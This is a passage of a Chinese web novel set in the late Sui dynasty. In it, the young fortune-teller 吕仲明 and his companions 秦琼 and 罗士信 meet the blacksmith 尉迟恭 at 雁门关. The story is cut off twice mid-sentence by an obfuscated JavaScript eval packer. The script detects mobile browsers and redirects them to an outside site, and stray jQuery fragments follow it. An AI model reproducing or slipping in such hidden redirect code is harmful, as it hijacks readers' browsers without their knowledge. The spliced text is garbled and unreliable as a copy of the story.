吕仲明一笑道:“哪有什么消息,卦象利火,南火克西金,阁下想从此处南下,讨个职位,抗击胡人?这么随口一猜而已。” 武官又道:“道长不妨说说,在下朝南边走,是凶是吉。” 吕仲明道:“投晋阳那位,是如今乱局中最明智的抉择了。” 武官沉默,吕仲明又笑道:“李渊……是个明主。然,还要看能不能碰上明主的面,明主手下良将如云,就算是后宫,也分受不受宠,这不是卦象上说的了,小弟有感而发而已。” 武官道:“看你身后两位兄弟,也是一表人才,大好男儿,理应力挽狂澜,为百姓出力,为何不一同去?” 那武官言下之意,竟是邀三人一同上路,前往晋阳府投靠李渊,谋个官职,然而吕仲明却摇头道:“人各有志,在淤泥中当个摇头摆尾的乌龟,又何尝没有乐趣?兄台不如留下来,与我一同摆摊算卦,如何?” 武官忍不住莞尔,吕仲明道:“送你一句话,十个字,有之以为利,无之以为用。” 那武官眯起眼,打量吕仲明,问道:“何解?” 吕仲明莫测高深地笑笑,说:“有能不如无能,来,一两银子,自己投币。” 武官:“没有。” 吕仲明:“……” 秦琼与罗士信对视一眼,两个打手要出动了,然而吕仲明看面前这二十来岁的男人,坐姿稳重,显然严于自律,且身负武艺,看上去绝非易与之辈,只怕秦琼外加罗士信,再捎上个自己,还打不过这家伙。忙抬手示意秦琼别动手。 “算命不给钱。”吕仲明笑道:“祖师爷爷在上,多少给点罢,我是无所谓的,反正翻嘴皮子说说,对阁下来说……可就不太好了。” 武官道:“当真一分钱都没有,拙荆典当首饰,凑齐路费,与我一路来到此处,不知何处是归宿,心生彷徨,实在惭愧,今日前来,乃是听得雁门关下儿歌,循百姓所指,寻到此处,心想道长能解李某心中之惑。然而道长最后那句话,确实令李某想通了不少事,指点之恩不敢忘,只恨身无分文,实在无计可施。” 吕仲明看着那李姓男人,问道:“你叫什么名字?” 武官答道:“不敢说,以免连累道长。” 吕仲明知道了,这人多半也是个通缉犯,遂生出同情之心,伸手到摊前的竹筒里,掏了点碎银,摊开手,交给那人。 “来日连本带息,一起还我。”吕仲明莞尔道。 武官要辞让,吕仲明却坚持,他便收起碎银,答道:“多谢道长,有缘再会。” 说毕那武官起身走了,罗士信道:“做什么给他银子?” 吕仲明:“投资。” 罗士信:“???” “帮帮他,受人之恩,当以涌泉相报嘛,他也不容易,说不定以后能帮上咱们大忙。”吕仲明回头安抚道。 秦琼乐道:“你不过是看他长得英俊罢了。” 吕仲明尴尬,罗士信学着吕仲明那腔调道:“兄台一表人才,人中龙凤,没钱上路,道长银钱还不倒贴来?留下来作我面首,与我摆摊算卦如何?”接着又一转声音,咳了声,学着那武将一丝不苟的语气,一本正经道:”拙荆待李某情深意重……更无龙阳之好,小兄弟青睐之意,只好敬谢不敏了……” 吕仲明:“……” 罗士信与秦琼赫然爆笑。 秦琼附和道:“就是,贤弟,你这有了新欢,就不理会旧爱的脾气着实不好。” 吕仲明哭笑不得,转念一想道:“说的是,小弟受教,以后一定痴缠着两位哥哥,再不爱别的男人了!” 说话间三人一齐大笑,吕仲明无可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那老夫妻的儿子被抓了壮丁,媳妇难产死了,正想着去中原投靠亲戚,吕仲明除了算命,还略通岐黄之术,来算上路吉凶时,吕仲明便看出他脸色蜡黄,患了病。 吕仲明为他开了副药,一帖便好了,老夫妻感激吕仲明治病之恩,便将房子托付于他,于是三人也未花钱,便白得了个平房住。在城东临巷的一家,一个狭小厅堂,两个房间,后面还有口井。 吕仲明十分高兴,与秦琼,罗士信搬进去过冬,预备来年开春再作打算。这天入住后,三人便在厅堂隔间里,坐着喝酒吃猪头肉。 “今年恐怕是只能静观其变了。”吕仲明给罗士信斟酒,解释道:“明年开春,看看各路义军如何,再作打算。” “不急。”罗士信淡淡道:“厮杀多年,如今才终于过上了几天安生日子。” 秦琼道:“多花点时间想想,总是好的。” 喝了会酒,三人都懒洋洋的,秦琼道:“我上楼去睡会儿。” 于是秦琼回房睡着,罗士信则躺在火炉旁睡觉。吕仲明喝过一会酒,只觉懒怠动,便换了茶,烧点茶喝。正在思考时,大门忽然砰砰地震了起来,被拍得山响。 “有人吗?”一个男人声音在外面道。 这日大雪封门,已是寒冬腊月,是看病的?还是算命的?想必是赶路经过雁门关,要么出塞,要么入关的商人,吕仲明便上前开了门,随着一阵风雪,卷进来了个身高八尺,体形魁梧的高大男人。 “吕道长住这里?”那男人进来就问。 大雪天居然还有生意上门,吕仲明便道:“不测命数,只卜国家气运,仁兄请回。” “胡说。”那高大男人笑道:“上个月就见你给人算命,你什么人都算。” 罗士信醒了,正要喝斥那男人时,吕仲明却示意无妨,笑道:“还见过我?” 那男人道:“市集上来来去去,见过你几次。只是你没注意到我。” 吕仲明:“既然见过,怎么早不来?” 男人道:“先前没钱,现在有钱了。” 吕仲明笑道“有缘,今天就给你卜一卦罢,来,请坐。” 那男人坐下,却是个鲜卑人,目作深碧色,犹如漂亮的翡翠,唇,鼻轮廓较之汉人更深更分明,肤色不似其余鲜卑人白皙,而是健康的古铜色。 这人鼻梁高挺,眉毛纷乱,不修边幅,脸庞还带着刚刚刮过的胡茬,穿一身裘袄,戴着顶狼尾皮毛,大雪天里,上身竟是只穿一件虎皮夹袄,袒露着健壮的胸膛与有力的臂膀。似乎经过了风吹日晒,一身皮肤黝黑,是个充满魅力的美男子。 “来。”那鲜卑人朝吕仲明笑笑,坐到他面前,看着他的双眼。 他的双眼看着吕仲明的一瞬间,吕仲明心里仿佛有什么东西猛地动了一下。 “我去……”吕仲明回过神,说:“拿龟甲下来,稍等。” 吕仲明喝了酒,头昏昏的,上楼时险些还绊了一跤,那鲜卑人忙道:“小心!” 吕仲明呼吸急促,拉着椅子坐下,只觉口干舌燥,定了定神,说:“刚喝过点酒,兄台也来点?” 说毕吕仲明把酒壶递给他,那鲜卑人便喝了口,抱着胳膊,看着吕仲明,意味深长地笑了笑。 “你今年多大?”鲜卑人问道。 “十五,快十六了。”吕仲明道。 鲜卑人始终看着吕仲明,片刻后笑道:“跟我走罢。” “什么?”吕仲明一边整理龟甲,一边道:“去哪?” 鲜卑人道:“这里的酒不好喝,我带你玩去。” 吕仲明一笑道:“仁兄说笑了。想卜算点什么?” 罗士信咳了声,似乎是在提醒吕仲明,别看到仁兄长得英俊,又倒贴人家,吕仲明只得装作听不到,期待地看着那鲜卑人。 “你不问我叫什么名字?”鲜卑人道。 罗士信又咳了声,吕仲明哭笑不得,说:“知道了,不会倒贴他,也不会跟着他走。” 鲜卑人莫名其妙道:“什么?” “没什么。”吕仲明随口道:“朝我那兄弟说。” 那鲜卑人蹬着地,将条凳杵后些许,看了躺着的罗士信一眼,又看吕仲明,问:“那是你兄弟?” “你怎么这么啰嗦?”吕仲明哭笑不得道:“是来算命,还是来探我底细的?” 那鲜卑人道:“罢了,好奇问问,找你卜算前程,来了雁门关下已有将近一年,看你在路边算命摆摊,知道你要一两银子。” 吕仲明随口道:“倒也不是都要一两银子,这种事,随缘就行……兄弟叫什么名字?” 说毕,吕仲明抬眼看着那鲜卑人。 12. 第十一回:铁坊 “复姓尉迟,单名一个恭字。”那鲜卑人道。 吕仲明:“……” 当真是踏破铁鞋无觅处,得来全不费工夫。吕仲明险些就冲上去抱着尉迟恭大喊道哥哥你真是我亲哥!我正想着要找你呢你怎么就这么知道贤弟心意,自己送上门来了啊啊啊啊! 然而想归想,吕仲明却保持了一贯以来的镇定,心道这次千万要淡定,别再像上次碰上秦琼那样,秦琼好歹在当兵,现在要是没轻没重,把尉迟恭吓跑了,可就再也找不到人了。 有了秦琼的前车之鉴,吕仲明不敢再冒失,一颗心却跳个不停。 “你曾经见过仙人么?”吕仲明问道。 “仙人?”尉迟恭一脸迷茫道:“没有。” “没有?!”吕仲明一脸抓狂,尉迟恭一见吕仲明脸色不对,忙改口道:“有!小时候见过!” 吕仲明:“……” “什么样的仙人?”吕仲明又问。 罗士信实在听不下去了,起来道:“说什么?!不是给他算命么?” 吕仲明忙安抚罗士信道:“没事,你睡你的,我就是好奇问问。” 罗士信一脸奇怪地看着尉迟恭,尉迟恭道:“不如咱们换个地方说?我带你喝酒去。去我铺子里坐坐,那里暖和。” 吕仲明总觉得尉迟恭奇奇怪怪的,看看罗士信,罗士信的眉毛拧了起来,意思是你敢跟他走试试? 吕仲明觉得尉迟恭应当也不会害他,但罗士信那一言不合就要动手的脾气,两人若是在家里打起来,东西砸坏了可不好,忙摆手道:“不了,就在这里罢。说说你碰到的仙人罢。” 尉迟恭想了想,答道:“就那样。” 吕仲明:“……” 就那样?这是什么回答?!吕仲明简直搞不懂尉迟恭了,他又问道:“什么样?穿道袍吗?是不是像个没睡醒的人?” 尉迟恭答道:“好像是,嗯,应当是。” 吕仲明道:“那位仙人,有没有……朝你提到过什么人?” 尉迟恭:“……” 吕仲明:“……” 尉迟恭道:“小时候,我从马上摔下来,撞了次头,都不记得了,是我爹告诉我的。” 千言万语,也无法形容吕仲明此刻的心情,第一个秦琼,老君话说得不清不楚也就算了,第二个尉迟恭,居然还小时候撞到头??!!! 撞到头撞到头撞到头!!吕仲明只想仰天咆哮,这是天将降大任于是人也必将行拂乱所为吗?!不带这么玩的啊啊啊啊! 尉迟恭一本正经道:“你家住何方?为什么在雁门关给人算命?” 吕仲明已彻底无语了,龟甲啪一声掉在桌上,尉迟恭的声音犹如在天边回响。然而那边罗士信已坐不住了,问道:“你究竟是来算命还是来打听哥们来历的?” 尉迟恭笑道:“老弟,别生气,我看这位小兄弟一表人才,便忍不住多问了几句……” “出去!”罗士信气势汹汹,起身要赶人,尉迟恭道:“有话好说,别发火!” 罗士信推开桌子,拿起条凳就要出手揍尉迟恭,吕仲明回过神,忙道:“罗大哥!别动手!” 尉迟恭退后,就那么一下也显得身手敏捷,但看那模样,似乎不想得罪罗士信,朝吕仲明道:“贤弟,哥哥有话说,小时候,我总是……” 罗士信不等他说完,就要揍他,楼上的秦琼听到响动也下来了,忙道:“罗成!你做什么!” 罗士信怒道:“这炭头不是好人!一肚子龌龊念头!” 吕仲明:“???” 尉迟恭见又来了个人,忙朝门外避,远远地朝吕仲明道:“我不是坏人!你空了来西市,卖羊肉那铺子后面的巷里……打铁铺子!我就在那儿干活……” 秦琼提了剑冲出去,尉迟恭已冒着风雪跑了。 吕仲明:“?????” 吕仲明还没明白什么事来,罗士信又一脚踹上大门,一肚子火道:“别理会他!” 吕仲明道:“他怎么了?” 秦琼:“他朝仲明说什么了?” 罗士信:“那家伙是个混子,算个命东拉西扯,说不是心里有鬼谁信?你还陪他说那半天,早该一巴掌将他扇出去。” 秦琼问吕仲明:“他朝你动手动脚了没有?” 吕仲明这才明白过来,罗士信以为尉迟恭是要占他便宜,登时尴尬至极,忙解释道:“不是你想的那样。” 罗士信鼻孔里哼了声,秦琼又觉好笑,随手摸摸吕仲明的头,说:“别理他。” 吕仲明当真是欲哭无泪,然而坐定以后,回想起尉迟恭说的话,忽然又觉得好像是这样。 罗士信又坐了会,随手拿了兵器,又道:“走,咱俩寻他晦气去。” 吕仲明下巴掉地,忙道:“算了算了,别去。” “是个鲜卑人?”秦琼问道。 “唔。”罗士信道:“鲜卑人没几个好东西。” 吕仲明心道对方就算真的想泡我,你也不用开地图炮把鲜卑全族一起轰了吧,便道:“其实,也还好。” 罗士信道:“雁门关下鲜卑人抢的屠的多,下次碰上,别与他多废话。” 秦琼问:“叫什么名字?” 罗士信道:“尉迟恭。” 秦琼点了点头,说:“晚饭自己做着吃罢,我去买菜。” 吕仲明刚刚话还没说完,对着尉迟恭也没问个清楚,正想寻个机会去打听,便道:“我去罢。” “你别去了。”秦琼道:“我去就是。” 说毕秦琼穿上厚袍子,吕仲明生怕他真的去寻尉迟恭晦气,然而见他不带兵器,便放下了心。秦琼刚出家门,便道:“窗格上嵌着枚碎银子。” 吕仲明:“哦……” 吕仲明看看罗士信,一脸忐忑,知道是尉迟恭留在那儿的,罗士信却道:“不花白不花,买点羊肉吃,寒冬腊月的,正好暖暖身子。” 秦琼便去买菜,天渐黑下来,罗士信依旧躺着睡觉,吕仲明无所事事,翻来覆去地想,偶尔偷瞥一眼罗士信,心里惴惴,问道:“罗大哥。” 罗士信也不睁眼,眉毛动了动,便算回答了。吕仲明话到嘴边,又不敢问了。总不能问大哥你是不是喜欢我了所以吃尉迟恭的醋罢。 吕仲明好生纠结,不知如何开口,罗士信却以为吕仲明以为他睡着了,便开口道:“说。” “你有喜欢的人没有。”吕仲明装作人畜无害地问道。 “你说呢?”罗士信冷冷答道。 吕仲明这下没法回答了,只得笑笑。罗士信冷冷道:“你给我找个媳妇?” 吕仲明不知罗士信何意,正惴惴时,罗士信道:“别想太多,你肚子里想什么,大哥会不知道?你想和男人相好,找谁不打紧,不能找那混子。” 吕仲明没想到自己的心思被罗士信一口道破,当即尴尬不已,罗士信一个翻身坐起,问:“你是我兄弟不是?大雪天的,就算来个什么人,朝大哥我抛眉弄眼的?你不把人赶出去?” “是。”吕仲明点头道,看着罗士信,忽然心里生出一阵温暖,知道罗士信只是关心他。毕竟兄弟感情,与真的看上他不同,罗士信这种硬汉,要对他起什么心思,肯定是有话直说,要么就是先推倒上了再说。 罗士信也没再说什么,又躺下睡了。 入夜时秦琼回来了,买了六斤熟羊肉,又有八角茴香等作料,借店家的锅炖了满满一锅,端出来放在炉子上,三人便捧着碗,坐在锅旁,朝里头煮萝卜吃。三斤烧酒,喝得吕仲明满脸通红。 秦琼边吃边说:“刚刚我去打听过了,那姓尉迟的黑炭头原本家里住塞外,在关外放羊,后来突厥打劫,家里遭了灾,就卷铺盖来代县讨营生,现在呆在城西的巷子里打铁。” 罗士信道:“冲着那油嘴滑舌的性子,应当没少挨揍。” “那倒没有。”秦琼解释道:“认识的几家都说他脾气好,力气大,常帮着孤儿寡母家里干活,也从来不收报酬。” 罗士信又唔了一声,听得出十分不满。吕仲明又道:“铺子是他开的?” 秦琼道:“不是,他也是给老铁匠干活,一年前他流落到雁门时,走投无路,流落街头,城东有家老太太,孙子被朝廷征去挖运河死了。那老太便给了他点吃食,衣物,愿意收留他,将他当作自己孙子。” “……不过这炭头不愿连累老太,便自己出来混口饭吃,后来老人家死了,是他给送的终。城西铁匠看他力气大,人也还行,便招了进去让他打铁。” 吕仲明闻言释然,想起正史中似乎提到过这个人,凌烟阁诸将里,个个祖上都有出身,秦琼祖上是官吏,罗士信所在的罗家也曾是地方大族。唯独尉迟恭祖上籍籍无名,乃是“蓬户瓮牖之人”,没有系统地学过武功,最后居然能成为一代悍将,前路坎坷艰辛,与秦琼等人不可同日而语。 想着想着,吕仲明心里便有点唏嘘,三人喝过酒,吃了肉,便各自回房睡下,一夜无话。 翌日仍是全城大雪,吕仲明早早地起来,蹑手蹑脚地出了院子,生怕惊动了秦琼罗士信,便猫儿似地溜出来,孰料院外秦琼声音响起,问道:“你要去找那炭头?” 吕仲明吓了一跳,只得道:“是。” 秦琼有点诧异,打量吕仲明,吕仲明便将找他的缘由详细告知,待听得这解释后,秦琼的表情才略有变化,却一时间仍有点难以接受。 “英雄不论出身嘛。”吕仲明笑道:“你们怎么都不太喜欢他。” 秦琼道:“第一面印象太差。既然这么说,我陪你去。” 吕仲明忙道:“我自己去就行,罗大哥呢?” “昨晚上喝多了,还没睡醒。”秦琼道:“那你自己当心点。” 听吕仲明说了那事,秦琼便知道尉迟恭不会是坏人,拿自己作比较,知道吕仲明与他们之间,必定存在什么非同一般的联系,然而吕仲明从来没详细说过这联系,秦琼也不多问。 吕仲明走在路上,风雪渐大,被吹得直哆嗦,来到城西三头巷子时,整个人都快冻僵了。 妈呀!平日里没出门不知道,怎么这么冷啊!这种地方还住了这么多人……生活环境有够恶劣。吕仲明抽着鼻涕,抖抖索索地问地方,最后终于找到了铁匠铺。 推门进去时,尉迟恭正坐在炉前,只穿一条白色长裤,裸着强壮的半身,满背汗水,叮叮当当地在打铁。 吕仲明:“……” 尉迟恭:“……” 哐当一声,尉迟恭被掉下来的锤子砸了脚,吕仲明吓了一跳道:“小心!” 吕仲明忙上前,险些又碰翻了淬火的水盆,铁匠铺里甚是杂乱,一阵乱响后,尉迟恭道:“别动!站好!” 吕仲明忙站定,尉迟恭小心翼翼地护着他过来,将钉在墙上的架子上的铁块推回去,吕仲明被他挤在墙边,只觉尉迟恭的身躯火热,一身汗味。 尉迟恭既尴尬又意外,最后笑了起来,说:“怎么也不打个招呼就来了?” “过来看看。”吕仲明莞尔道:“昨天的话还没说完,我那俩哥哥脾气有点火爆,但都是好人,你别放心上。” 尉迟恭忙不迭摆手道没有没有,又见吕仲明目不转睛地盯着他,忙道:“今天没怎么收拾,咱们出去找个地方喝酒。” “别。”吕仲明忙道:“就在这儿罢,这里暖和。” 吕仲明拖着鼻涕,被铁铺里的炉子一烤,总算好过了点,尉迟恭便收拾了墙角一处,铺好毯子,让吕仲明坐下。铺里没有灯,只有铁炉焕发出的红光,映在这壮汉的身上,吕仲明打量尉迟恭,只见对方跟昨天完全不一样了。 昨天登门拜访时,尉迟恭虽说不修边幅,但衣冠还是齐整,穿的一身狼袄裘帽,像个塞外的英俊猎户,要不是自己说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563120|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,吕仲明根本没想到他是个打铁的。今天一见,一身臭汗,邋邋遢遢,倒确实是个打铁的。 吕仲明来之前有满肚子的话,忽然间一下又全问不出来了。打量尉迟恭时,只见他看着自己,不住笑。 “笑什么?”吕仲明也乐了。 “没想到你会来。”尉迟恭道:“你哥哥们说什么了?” “没说什么……”吕仲明想了想,决定从昨天的话问起,遂道:“昨天走的时候,你朝我说什么来着?” 尉迟恭道:“忘了。” 吕仲明道:“你说你小时候……” 尉迟恭莫名其妙道:“有么?” 吕仲明:“……” 吕仲明现在发现,和尉迟恭交谈,用自己习惯的那套逻辑明显不适用,这是鲜卑人和汉人的思维习惯区别吗?!!才见了他两次,为什么每次见面的时候,话题都变得这么奇怪啊啊啊!! 吕仲明心中一群羊驼正在金鳌岛四倍速狂奔绕圈,尉迟恭却半点没发现,说:“我去找点茶与你喝。” 吕仲明道:“不用麻烦了……” 尉迟恭摆手,起身,人高马大的,稍微一动,不是碰到这个,就是撞到那个,铺子里一片响声,只见尉迟恭进了内间,吕仲明好奇张望,问:“铺子里就你一个人?” “老铁带着他媳妇,求医去了。”尉迟恭答道:“兵荒马乱的,也不知道什么时候回来。” 吕仲明嗯了声,看到黑暗的内间里,地上铺着块棉絮,像个狗窝一般,尉迟恭不知道在他的窝里翻什么东西,吕仲明又问:“老夫妻没有儿子吗?” “朝廷打辽东时,被拉壮丁抓走了,死在辽东了。”尉迟恭找了点东西,出来,又一路出门去,吕仲明忙道:“不用买茶了。” 尉迟恭道:“很快就回来!” 尉迟恭走了,吕仲明又打量室内,见铺子里有个匣子,匣子内扔着几枚铜钱,想必是尉迟恭一天的进项,内间叠着一套衣裤,正是昨天他穿的那身,门槛前摆着船似的一双木鞋,比自己的靴子大了不少。 片刻后尉迟恭回来了,带了点茶叶与酥油,吕仲明不太喜欢喝唐代的茶,伸手阻住尉迟恭,示意我来。便烧开了水,用个碗,把茶叶泡开,滤了浓浓两碗茶,一时间茶香四溢。 尉迟恭道:“哥哥是个打铁的,穷得叮当响,没什么好东西招待,见笑了。” 吕仲明笑道:“大哥说哪里话来,愚弟不过也是个算命的。” 尉迟恭大笑起来,三教九流,两人实际上地位相当,也不必多说,吕仲明又饶有趣味问道:“生意不忙?有活干你就忙你的。” 尉迟恭道:“大雪封门,没什么生意,自己打点小东西。” 吕仲明点头,尉迟恭又道:“明年开春,打铁的就多了,有钉马蹄的,打犁具的,生意还行。” 吕仲明想了想,问:“你今年多大?” 尉迟恭看着吕仲明双眼,笑道:“二十二。吕小弟,你婚配了没有?” 吕仲明道:“没有……” 吕仲明与尉迟恭对视,就在那么一瞬间,心里倏然又通通跳了起来,心道这是怎么回事? “没……什么。”吕仲明颇有点不定神,又道:“对了,昨天你在我这求的一卦,我还没解给你听。你的卦象是……” 尉迟恭想起来了,便认真听着,吕仲明续道:“出将拜相,鹏翔九天,有朝一日得遇明主,前途不可限量。” 尉迟恭:“……” 吕仲明又道:“一世享尽荣华,最后还得列仙班,尉迟大哥,你和叔宝是最大的赢家了。” 尉迟恭:“……………………” 吕仲明说完以后,笑了起来,说:“尉迟大哥你来日大富大贵,可要记得提携小弟。” 尉迟恭只当成吕仲明是在开他玩笑,脸色不太好看,却仍然勉强笑道:“谢谢。” 吕仲明正色道:“不逗你玩,我认真的。” 这下尉迟恭彻底说不出话来了。 “长这么大。”尉迟恭笑道:“你是第一个人这么与我说。” 吕仲明坐着,两人都不说话,陷入了奇怪的沉默里,吕仲明不知为什么,只觉在尉迟恭的身边很安心,很舒服。 尉迟恭说:“我给你打个东西,送你,不收钱。” 吕仲明道:“我看看?” 尉迟恭问:“还没开始,只是想,你会武,对不对?” 吕仲明诧道:“你怎么知道?” 尉迟恭比划了个拉弓的动作,看着吕仲明笑笑,又说:“你会射箭。” “你怎么知道的?!”吕仲明诧异道。 他总觉得尉迟恭认识自己,但追问起来,尉迟恭却又什么都不说。吕仲明道:“谁告诉你的?” “你肩膀宽,手长,眼力好,还戴着这个。”尉迟恭点点吕仲明拇指上的牛皮扳指,说:“你不是算命的,来我这里打兵器的人多了,我一看就知道。你看人的时候,眼睛会捕捉一个人的动作,神态,专注认真,你给人算命的时候,都这么笑着……” 尉迟恭模仿吕仲明的神态,把吕仲明逗笑了,又说:“你说话时,总是很认真地看着对方,眼睛清亮,这样的人,一看就知道是习练骑射出身。” 吕仲明暗道尉迟恭眼力也真好,尉迟恭那笑容十分温和,感觉与他那将近一米九的大个头半点不相称,吕仲明只觉这人实在太奇怪了,不仅从认识开始,对话奇怪,行为奇怪,尉迟恭选了一块铁,放进炉里去煅烧,说:“这是最好的铁了。” 吕仲明点头,想起自己从前用的那把弓。 他看着尉迟恭打铁,一时间两人都不说话。 尉迟恭道:“你记得我吗?” “什么?”吕仲明莫名其妙道,尉迟恭马上改口道:“你对我,有没有模糊的印象?” 吕仲明想了许久,眉头深锁,摇头道:“没有。” 13. 第十二回:奔袭 尉迟恭似乎在思考,缓缓点头,凝视着炉火,吕仲明追问道:“我们在什么地方见过?” 尉迟恭笑笑,答道:“没有。” 吕仲明:“???” 吕仲明已经完全被他搞糊涂了,要再问时,尉迟恭却道:“嘘,别说话。” 吕仲明眉毛一扬,尉迟恭示意他看炉子里,说:“看。” 铁渐渐地烧红了,吕仲明不明所以,便坐着发呆,看尉迟恭锻铁。 “你打过铁么?”尉迟恭问。 “没有。”吕仲明遗憾地答道。 尉迟恭道:“我师父说,人就像块铁,不煅不成器,被煅时,也就是在受苦。” 说着尉迟恭朝吕仲明笑笑,吕仲明忽然心有所动,说:“我爹也说过,人就像块玉,不雕琢,不成器。” 尉迟恭点头,吕仲明又说:“但如何去雕琢一块玉,得按玉本身的纹理,质地来。不是所有人都能成美玉,多多少少,总会有瑕疵,若一味对自己发狠,不懂顺应天然的道理,极易毁了自己。” 尉迟恭点点头,吕仲明又问:“你从小就会打铁么?” “会。”尉迟恭道:“小时候家住塞外,锻铁,都是跟突厥学的,一位师父教的我。” 吕仲明有点意外,尉迟恭问:“你知道突厥人么?” 吕仲明想了想,说:“知道,突厥常常进犯中原,是一支劲旅。” “是。”尉迟恭道:“大多数人都这么说,这些年里,他们没少杀中原人……” 吕仲明和尉迟恭聊起来,忽然发现,自己过来找尉迟恭,要让他跟随自己,已经完全不要紧了。在这个小雪漫天的日子里,他止不住地想与尉迟恭多聊聊。毕竟来了初唐后,他还是第一次有这么一个机会,去认识,了解一个人。 不,应当说,从小到大,这是他的第一次。 他与尉迟恭说话时,尉迟恭总是时不时地看着他的双眼,朝他笑笑。 在火炉的红光中,吕仲明渐渐明白了什么。终于知道为什么自己和尉迟恭一开始,想的东西总是搭不在一根线上了。 他想的是招揽尉迟恭,带他去干一番事业,然而尉迟恭见了他,对他有好感,唯一的念头就是与他交个朋友,彼此聊聊天。 想通了这节,吕仲明忽然觉得好笑,也觉得心里挺温暖的,便捧着茶,有一句,没一句地坐在熔炉边闲聊。尉迟恭告诉他,自己在关外长大的那些日子…… “后来呢?”吕仲明皱眉道。 尉迟恭道:“……后来突厥就进了我们的村子,抓走了不少人,我跟着那突厥师父学打铁,以前他们为柔然人锻造,手艺很了得。再后来,他们被中原人打跑了,我没地方去,就卷着铺盖过来了。” “你还记得自己的家么?”吕仲明问道。 “找不到了。”尉迟恭笑笑道:“塞外都是风雪,离开那村子时,我想回家看看,在草原上走了一年多,没找着。” 尉迟恭轻描淡写几句,吕仲明却知道,他从小到大,一定吃了不少苦。乱世飘泊,不仅仅中原民不聊生,就连塞外各族,也过得颠沛流离。 “你会算命。”尉迟恭又问道:“你知不知道,什么时候,大家才能过上好日子?” “快了。”吕仲明道:“不到二十年。” 尉迟恭笑道:“有生之年,应当能看见。” “当然。”吕仲明道:“每一个置身其中的人,都是历史的缔造者。” 尉迟恭听到那句话,似有所动,要问吕仲明点什么时,外面却有人,在门上敲了敲。吕仲明忙抬头,发现是罗士信找来了。 罗士信:“午饭也不吃了?” 罗士信看着二人坐在一起,尉迟恭朝他点点头,说:“留下吃个饭?” 吕仲明会意便起身朝尉迟恭道:“我先回去了。” 尉迟恭点头,拿着块脏兮兮的布擦着手,把二人送出铁铺外,罗士信便搭着吕仲明肩膀,带他回家去。临走时吕仲明仍忍不住回头,朝尉迟恭作了个口型,笑笑。尉迟恭便会意点头,知道吕仲明的意思是,有空会来找他。 小雪漫天飞扬,罗士信走在吕仲明身前,吕仲明低着头,顶着小雪慢慢地走。 “在想那黑炭头?”罗士信问道。 “不。”吕仲明笑道:“一时间,想到许多事。” 罗士信又是一扬眉毛,吕仲明便把心里想的说了出来:“凡人之力何其渺小?一生不过百年光阴,乱世烽火中,常常不能主宰自己的命运,主宰自己的未来,但大家还是这么努力地活着。” “所以呢?”罗士信道。 吕仲明摇头,笑笑,说:“尉迟恭不是坏人,他挺认真的。” 罗士信漫不经心地唔了声,吕仲明便将二人所谈那番话,朝罗士信说了,罗士信随口道:“是条汉子,但我不喜欢他。” 吕仲明愕然道:“为什么?” 罗士信:“脸黑。” 吕仲明:“……” 当天回了家,秦琼也没多问,三人便照常那么过,吕仲明从尉迟恭处回来后,仿佛被他一言点醒般,开始逐渐明白到凡人的世界,凡人的生活。从前他都是以一个仙人的角度去看待活在这个年代里的这些人,也从未觉得有什么不妥。然而自从认识了尉迟恭后,他才发现,自己还有太多的东西要学,要去了解。 翌日清晨,雪停了。 尉迟恭拿了钱,关上铁铺大门出来,朝市集上走,一伙儿突厥人从市集上过,大声嚷嚷着什么。尉迟恭正在买集市上的蜜饯,听到几句突厥话后便上了心,将蜜饯揣在怀里,转头一看,跟着过去。 几名突厥人进了一条小巷,尉迟恭跟了进去。 城东,吕仲明的家门口挂了俩牛皮灯笼,左边是个罗字,右边是个秦字。 日上三竿,吕仲明刚出来,罗士信便道:“吃饭。” 桌上一碗清粥,还有酱牛肉与各色小菜,吕仲明本想起早些,出去找尉迟恭玩,然而罗士信却比他起得更早。 吕仲明吃过早饭,趴在桌上,百无聊赖。 “我出去走走。”吕仲明道。 “有什么好走的?下雪天,别出去。”罗士信道。 吕仲明道:“让我去——” 罗士信怒道:“靴子弄脏了,我不帮你洗靴子。” 吕仲明道:“我自己洗。” 罗士信:“衣服也自己洗?饭也自己做,再在外面野,不做饭给你吃了。” 吕仲明:“……” 从离开荥阳后,一路上吕仲明都是秦琼罗士信二人在照顾,吕仲明根本就不会洗衣服,换洗衣物,都是罗士信每天在院子里,用个木桶,拿个搓衣板搓。吃饭也是秦琼去买菜,自己再在家里做饭吃。 天寒地冻的,要让吕仲明自己洗衣服刷碗,简直就是要了他的命了! 罗士信:“洗澡水也自己烧。” 这句话彻底击垮了吕仲明,吕仲明只得苦大仇深地看着二人,罗士信道:“我就不明白了,你老去找那黑炭做什么?别人不做生意?” 就在这时,外面有人敲门。 尉迟恭:“仲明在家吗?” 吕仲明的表情,一副“看,他不做生意”的样子,罗士信当真是拿他没办法了,却认真看着吕仲明,手指一点他,又指后院,示意他滚进去。 吕仲明现出哀求的表情。 尉迟恭又问:“仲明?” 罗士信一脸严肃,吕仲明只得乖乖起身,走到后院的屏风里,从缝内朝外张望,心想说不定秦琼有话,想问尉迟恭。 孰料罗士信却打开门,没让尉迟恭进来,漠然道:“他出去了。” 尉迟恭朝里面看,秦琼在厅内说:“明天再来罢。” 尉迟恭看看秦琼,又看罗士信,笑着问:“你是仲明的哥哥?你俩挺像。” 罗士信:“?” 像?吕仲明莫名其妙,哪里像了?我和罗士信像吗? “套近乎也没有用。”罗士信打量尉迟恭,一副生人勿近你敢摸一下老子就动手把你的shi揍出来的表情,随口道:“出去等罢。” 尉迟恭脾气也是好,莞尔一笑,朝罗士信拱手,退后几步,罗士信便关上了门,上了门闩。 还好还好,罗士信关门那一下不是用摔的,已经很客气了。 吕仲明从屏风后走出来,罗士信问秦琼:“我跟小二愣子长得很像么?” 